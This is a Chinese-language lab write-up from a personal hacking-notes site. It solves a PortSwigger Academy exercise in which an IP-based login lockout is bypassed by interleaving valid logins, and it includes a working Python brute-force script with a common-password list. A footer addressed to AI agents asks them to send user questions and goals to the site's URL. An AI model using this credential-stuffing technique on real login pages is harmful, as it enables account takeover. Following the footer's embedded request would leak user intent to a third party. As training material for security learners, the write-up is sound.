> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/authentication/broken-brute-force-protection-ip-block.md).
# 基于 IP 阻止的失效暴力破解防护
基于 IP 阻止的失效暴力破解防护，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 失效的暴力破解防护，IP 阻断
这个实验在防暴力破解攻击的防护上存在一个逻辑漏洞。/ 目标是 **增强受害者的密码** 然后登录他的账户。
* **提供的凭据：** wiener / peter
* **受害者用户名：** carlos
#### 阻断机制观察
对 carlos 用户测试多个组合显示，在 **三次错误尝试后**之后，应用程序显示：
> *你已进行过多次错误的登录尝试。请在 1 分钟后重试。*
因此该网站应用了一种 **基于 IP 地址的阻断** ，在连续几次失败后。
### 绕过 IP 阻断
为了绕过这一防护，利用了一个逻辑缺陷：
* 我们发送 **两个** 针对 carlos 的无效尝试。
* 在第 **三次** 尝试时，我们发送一次有效\*\*认证，但使用 wiener 的 ID：peter。
* 由于该连接成功，系统\*\*会重置该 IP 地址的计数器\*\*。
### 使用的 Python 脚本
以下脚本通过为 carlos 测试两个密码，然后以 wiener 身份成功连接来重置计数器，从而自动化该攻击：
```python
import requests
import time
url = "https://0a19006903c3409a83f97eef000a00be.web-security-academy.net/login"
session_cookie = "7iUGnIrXGPogHTIfzuPfAC89Jel0jghh"
passwords = [
"123456", "password", "12345678", "qwerty", "123456789", "12345", "1234",
"111111", "1234567", "dragon", "123123", "baseball", "abc123", "football",
"monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321",
"mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx",
"7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1",
"jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer",
"harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000",
"charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars",
"klaster", "112233", "george", "computer", "michelle", "jessica", "pepper",
"1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777",
"pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua",
"cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea",
"biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin",
"thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring",
"montana", "moon", "moscow"
]
session = requests.Session()
def login(username, password):
headers = {'Cookie': f'session={session_cookie}'}
data = {'username': username, 'password': password}
return session.post(url, headers=headers, data=data, allow_redirects=False)
for i in range(0, len(passwords), 2):
batch = passwords[i:i+2]
for password in batch:
print(f"正在尝试 carlos:{password}")
response = login("carlos", password)
if response.status_code == 302:
print(f"找到密码！carlos:{password}")
exit()
if i + 2 < len(passwords):
使用 wiener:peter 重置
login("wiener", "peter")
time.sleep(1)
未找到密码
```
通过攻击发现的 carlos 正确密码是：
> **michelle**
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/authentication/broken-brute-force-protection-ip-block.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
